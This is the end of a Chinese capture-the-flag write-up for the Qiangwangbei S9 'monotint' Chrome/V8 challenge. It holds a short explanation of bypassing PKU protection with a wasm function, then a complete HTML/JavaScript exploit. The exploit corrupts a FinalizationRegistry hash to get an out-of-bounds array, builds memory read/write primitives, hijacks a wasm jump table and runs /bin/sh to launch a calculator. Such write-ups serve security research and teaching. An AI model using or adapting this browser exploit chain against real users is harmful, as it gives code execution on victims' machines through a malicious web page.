当时现场机器cpu是intel14 gen,在linux平台上有一个pku保护,所以我当时在执行shellcode的时候挂了。解决也很简单,使用jit spray或者wasm函数,我这里为了更加稳定使用了wasm函数。wasm中定义了一些汇编,然后通过传入两个i64的值,来执行execve,然后我每次只需要修改稳定cmd_ptr即可

接着需要解释为什么执行这样命令,这个lll是我自己使用的机器,我使用了vnc。最重要的步骤是export XAUTHORITY=/home/lll/.Xauthority,这个可以避免环境问题导致的 X11 认证失败,后面跟着的export DISPLAY=:100;是我自己vnc开放的端口,自己的机器只用了d8,没放到chrome里

对于下发的虚拟机,采用了动态查找授权文件的方式,后续的步骤和之前一样

移植到chrome里主要需要解决的问题是遍历oob_arr的问题,我这里起始地址设置到了0x1a0000,最后就可以弹出计算器了

exploit

完整的利用脚本,全部代码位于这里https://github.com/f1lyyy/V8-Exploit-Collection/tree/main/qwb_s9_final_monotint

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
<!DOCTYPE html>
<html>
<head>
<title>Exp</title>
</head>
<body>
<script>
var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
var u16 = new Uint16Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);

function lh_u32_to_f64(l,h){
u32[0] = l;
u32[1] = h;
return f64[0];
}
function f64_to_u32l(val){
f64[0] = val;
return u32[0];
}
function f64_to_u32h(val){
f64[0] = val;
return u32[1];
}
function f64_to_u64(val){
f64[0] = val;
return u64[0];
}
function u64_to_f64(val){
u64[0] = val;
return f64[0];
}

function u64_to_u32_lo(val){
u64[0] = val;
return u32[0];
}

function u64_to_u32_hi(val){
u64[0] = val;
return u32[1];
}

// function stop(){
// %SystemBreak();
// }

// function p(arg){
// %DebugPrint(arg);
// }

// function spin(){
// console.log("spin...");
// stop();
// }

// function stuck(){
// console.log("readline....");
// readline();
// }

function hex(str){
return str.toString(16).padStart(16,0);
}

function logg(str,val){
console.log("[+] "+ str + ": " + "0x" + hex(val));
}

function major_gc() {
let x = [];
x.push(new ArrayBuffer(1e9));
x.push(new ArrayBuffer(1e9));
x = null;

}



function build_kv(key, value) {
return lh_u32_to_f64(key << 1, value);
}

function init_arr(arr, val){
for (let i = 0; i < arr.length; i++) {
arr[i] = val;
}
}

function construct_hash_object(){
let length = 10000;
let arr = new Array(length);
let weak_map = new WeakMap();
for (let i = 0; i < length; i++) {
arr[i] = {};
weak_map.set(arr[i], 0);
}
return arr;
}

function find_vic_idx(arr,val){
for (let i = 0; i < arr.length; i++){
if (arr[i] != val){
return i;
}
}
return -1;
}

function make_ref(val){
return [val];
}

function corrupt_obj_get_hash(){
console.log("[*] Corrupt obj get in");
let corrupt_vic_idx = -1;
let corrupt_obj_idx = -1;
let corrupt_obj_hash = -1;
// HashField::kMax = 2^20 - 1 = 1048575 = 0xFFFFF
for (let current_hash = 1; current_hash < 0x100000; current_hash++) {
let fake_kv = build_kv(current_hash, undefined_value);
init_arr(victim_arr, fake_kv);
// p(unregister_token);
// p(registry);
// p(victim_arr);
// p(arr_with_hash_object);
for (let i = 0; i < arr_with_hash_object.length; i++){
registry.unregister(arr_with_hash_object[i]);
}

corrupt_vic_idx = find_vic_idx(victim_arr, fake_kv);
if (corrupt_vic_idx == -1){
continue;
}
// p(victim_arr);

init_arr(victim_arr, fake_kv);
for (let i = 0; i < arr_with_hash_object.length; i++){
registry.unregister(arr_with_hash_object[i]);

for (let j = 0; j < victim_arr.length; j++){
if (victim_arr[j] != fake_kv){
corrupt_obj_idx = i;
corrupt_obj_hash = current_hash;
break;
}
}

if ((corrupt_obj_idx != -1) && (corrupt_obj_hash != -1) ){
break;
}
}

if ((corrupt_vic_idx != -1) && (corrupt_obj_idx != -1) && (corrupt_obj_hash != -1)){
break;
}
// console.log("[+] Found at hash: 0x" + current_hash.toString(16));

}

// p(arr_with_hash_object);

console.log("[+] Corrupt vic idx: " + corrupt_vic_idx);
console.log("[+] Corrupt obj idx: " + corrupt_obj_idx);
console.log("[+] Corrupt obj hash: 0x" + corrupt_obj_hash.toString(16));

console.log("[*] Corrupt obj get out");

return [corrupt_vic_idx,corrupt_obj_idx,corrupt_obj_hash];
}

function construct_oob_arr(corrupt_vic_idx,corrupt_obj_idx,corrupt_obj_hash){
console.log("[*] Construct oob arr in");
let hash_obj = arr_with_hash_object[corrupt_obj_idx];
let oob_arr_addr_start = 0x1a0000;
let oob_arr_addr_end = 0x2000000;
let oob_arr_step = 0x100;
let oob_arr_init_val = lh_u32_to_f64(0xaaaaaaaa, 0xaaaaaaaa);

let oob_arr_idx = -1;
let tmp_weak_cell_val = -1;
let offset = 0x1c;
let align_offset = 0;
let oob_arr_element_addr = -1;
let oob_addr_element_offset = 0x1020;
let out_loop = false;


let oob_arr = [];
for (let i = 0; i < 0x100; i++){
oob_arr[i] = 1.1;
}

let target_arr = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];
let ref_arr = make_ref(target_arr);
let ab = new ArrayBuffer(0x100);
let ref_ab = make_ref(ab);
let dv = new DataView(ab);
let obj_arr = [{},{}];
let target_idx = -1;


// p(oob_arr);
// p(target_arr);

for (let i = oob_arr_addr_start; i < oob_arr_addr_end; i += oob_arr_step){
let fake_kv = build_kv(corrupt_obj_hash, i | 1);
victim_arr[corrupt_vic_idx] = victim_arr[corrupt_vic_idx + 1] = fake_kv;
init_arr(oob_arr, oob_arr_init_val);
// p(oob_arr);
// stop();

registry.register(hash_obj, undefined, hash_obj);

for (let j = 0; j < oob_arr.length; j++){
if (oob_arr[j] != oob_arr_init_val){
oob_arr_idx = j;
logg("oob_arr_idx",oob_arr_idx);
logg("oob_arr_addr",i);
// p(registry);
// p(victim_arr);
// p(oob_arr);
tmp_weak_cell_val = f64_to_u32l(oob_arr[oob_arr_idx]);
if ((f64_to_u32l(oob_arr[oob_arr_idx]) & 0xff) == 0xaa){
tmp_weak_cell_val = f64_to_u32h(oob_arr[oob_arr_idx]);
align_offset = 1;
}
// logg("raw tmp weak cell val",f64_to_u64(oob_arr[oob_arr_idx]));
// logg("tmp weak cell val",tmp_weak_cell_val);
// logg("align_offset",align_offset);
oob_arr_element_addr = i + offset - (oob_arr_idx) * 8 - align_offset * 4 - 8 ;
// stop();

break;
}

if(oob_arr_element_addr > 0){
out_loop = true;
break;
}
}

if(out_loop){
break;
}
}

let guess_obj_addr = -1;
let target_addr = -1;
let idx = 0;

// guess_obj_addr = oob_arr_element_addr - oob_addr_element_offset;
guess_obj_addr = oob_arr_element_addr;
target_addr = guess_obj_addr+0x5+0x1;

let fake_kv = build_kv(corrupt_obj_hash, ((target_addr - 0x1c)));
victim_arr[corrupt_vic_idx] = victim_arr[corrupt_vic_idx + 1] = fake_kv;
logg("oob_arr_element_addr",oob_arr_element_addr);
logg("target_addr",target_addr);

console.log("[*] Construct oob arr out");


registry.register(hash_obj, undefined, hash_obj);
oob_arr.length = 0x10000000;

if (oob_arr.length < 0x100){
console.log("[x] corrupt failed!")
alert("[x] corrupt failed!");
return;
}

logg("oob_arr.length",oob_arr.length);
alert("[+] corrupt success!");

console.log("[*] Construct primitives in");
for (let i = 0; i < 0x10000000; i++){
// logg("oob_arr[i]",f64_to_u64(oob_arr[i]));
if (((oob_arr[i]) == 1.1) &&
((oob_arr[i+1]) == 2.2) &&
((oob_arr[i+2]) == 3.3) &&
((oob_arr[i+3]) == 4.4) &&
((oob_arr[i+4]) == 5.5)){
target_idx = i;
logg("target_idx",target_idx);
break;
}
}

if(target_idx == -1){
console.log("[x] Failed to find target_idx!");
return;
}

// p(target_arr);
// p(obj_arr);
let target_arr_element_addr = oob_arr_element_addr + (target_idx) * 8;
let elements_confused_idx = target_idx + 0x50/8;

let obj_arr_idx_offset = 0x21;
let obj_arr_element_addr = target_arr_element_addr + (obj_arr_idx_offset) * 8;
logg("target_arr_element_addr",target_arr_element_addr);
logg("obj_arr_element_addr",obj_arr_element_addr);


function cage_read(addr){
addr = Number(addr);
if (addr & 1){
addr -= 1;
}

addr -= 7;
let org = f64_to_u64(oob_arr[elements_confused_idx]);
oob_arr[elements_confused_idx] = lh_u32_to_f64(addr, Number(org >> 32n));
let val = f64_to_u64(target_arr[0]);
oob_arr[elements_confused_idx] = u64_to_f64(org);
return val;
}

function cage_write(addr,val){
addr = Number(addr);
if (addr & 1){
addr -= 1;
}
addr -= 7;
logg("addr",addr);
let org = f64_to_u64(oob_arr[elements_confused_idx]);
oob_arr[elements_confused_idx] = lh_u32_to_f64(addr, Number(org >> 32n));
let org_val = f64_to_u64(target_arr[0]);

// target_arr[0] = lh_u32_to_f64(val, Number(org_val >> 32n));
target_arr[0] = u64_to_f64(val);
oob_arr[elements_confused_idx] = u64_to_f64(org);
}

function addrof(obj){
obj_arr[0] = obj;
let ret = cage_read(obj_arr_element_addr);
// logg("ret",ret);
// stop();
return u64_to_u32_lo(ret);
}

function AAR(addr){
cage_write(ab_addr+0x24n,addr);
let ret = dv.getBigUint64(0,true);
// logg("ret",ret);
return ret;

}

// p(dv);
let ab_addr = cage_read(addrof(dv)+0x10);
let js_heap_base = AAR(cage_read(0x9)+0x38n) & ~0xfffffn;
logg("ab_addr",ab_addr);
logg("js_heap_base",js_heap_base);


const wasm_bytes = new Uint8Array([0,97,115,109,1,0,0,0,1,6,1,96,2,126,126,0,3,2,1,0,7,7,1,3,112,119,110,0,0,10,59,1,57,0,66,200,146,158,134,137,146,228,245,2,66,200,146,218,142,163,154,228,245,2,66,234,246,192,132,137,146,228,245,2,66,216,160,194,132,137,146,228,245,2,66,143,138,192,132,137,146,228,245,2,26,26,26,26,26,11,0,13,4,110,97,109,101,1,6,1,0,3,112,119,110]);
const mod = new WebAssembly.Module(wasm_bytes);
const instance = new WebAssembly.Instance(mod);
const pwn = instance.exports.pwn;

// p(instance);
let instance_addr = addrof(instance);
logg("instance_addr",instance_addr);

let trusted_data = u64_to_u32_lo(cage_read(instance_addr+0xc));
logg("trusted_data",trusted_data);

let jump_table_start = AAR(js_heap_base+BigInt(trusted_data)+0x28n-1n);
logg("jump_table_start",jump_table_start);

var jit_off = 0x91bn;

let cmd_str = "export XAUTHORITY=$(ls /run/user/1000/.mutter-Xwaylandauth.* 2>/dev/null | head -1); export DISPLAY=:0; /bin/xcalc\0";
// let cmd_str = "export XAUTHORITY=/home/lll/.Xauthority; export DISPLAY=:100; /bin/xcalc\0";
let sh_str = "/bin/sh\0";
let dash_c_str = "-c\0";
let sh_name_str = "sh\0";

let argv_ab = new ArrayBuffer(8 * 4);
let argv_arr = new BigUint64Array(argv_ab);

let sh_name_addr = BigInt(addrof(sh_name_str)+0xc-1) + js_heap_base;
let dash_c_addr = BigInt(addrof(dash_c_str)+0xc-1) + js_heap_base;
let cmd_addr = BigInt(addrof(cmd_str)+0xc-1) + js_heap_base;
let sh_str_addr = BigInt(addrof(sh_str)+0xc-1) + js_heap_base;

argv_arr[0] = sh_name_addr;
argv_arr[1] = dash_c_addr;
argv_arr[2] = cmd_addr;
argv_arr[3] = 0n

let argv_bc = AAR(BigInt(addrof(argv_ab))+js_heap_base+0x24n-1n);

logg("sh_name_addr",sh_name_addr);
logg("dash_c_addr",dash_c_addr);
logg("cmd_addr",cmd_addr);
logg("sh_str_addr",sh_str_addr);
logg("arge_bc",argv_bc);

cage_write(BigInt(trusted_data)+0x28n,jump_table_start+jit_off);

logg("rop chain",jump_table_start+jit_off);

alert("[+] pwn!");
pwn(sh_str_addr,argv_bc);

console.log("[*] Construct primitives out");
}



let undefined_value = 0x11;
let target = {};
let unregister_token = {};




let registry = new FinalizationRegistry(() => {
console.log("[*] Callback in");
let [corrupt_vic_idx,corrupt_obj_idx,corrupt_obj_hash] = corrupt_obj_get_hash();

let [oob_arr,oob_arr_addr,oob_arr_element_addr] = construct_oob_arr(corrupt_vic_idx,corrupt_obj_idx,corrupt_obj_hash);

console.log("[*] Callback out");
});

// p(registry);
// p(unregister_token);
// stop();

registry.register(target, undefined, unregister_token);
// stop();

major_gc();

let victim_arr = [];
for (let i = 0; i < 0x1000; i++) {
victim_arr.push(build_kv(undefined_value, undefined_value));
}

major_gc();
// p(registry);
// p(victim_arr);


let arr_with_hash_object = construct_hash_object();
// p(arr_with_hash_object);
// stop();
Object.assign(unregister_token, {});
Object.assign(unregister_token, {});
target = null;
// gc({ type: "major" });
major_gc();
</script>
</body>
</html>

强网杯S9 Real World - monotint
https://flyyy.top/2025/12/09/QWBS9_RW_monotint/
Author
flyyy
Posted on
December 9, 2025
Licensed under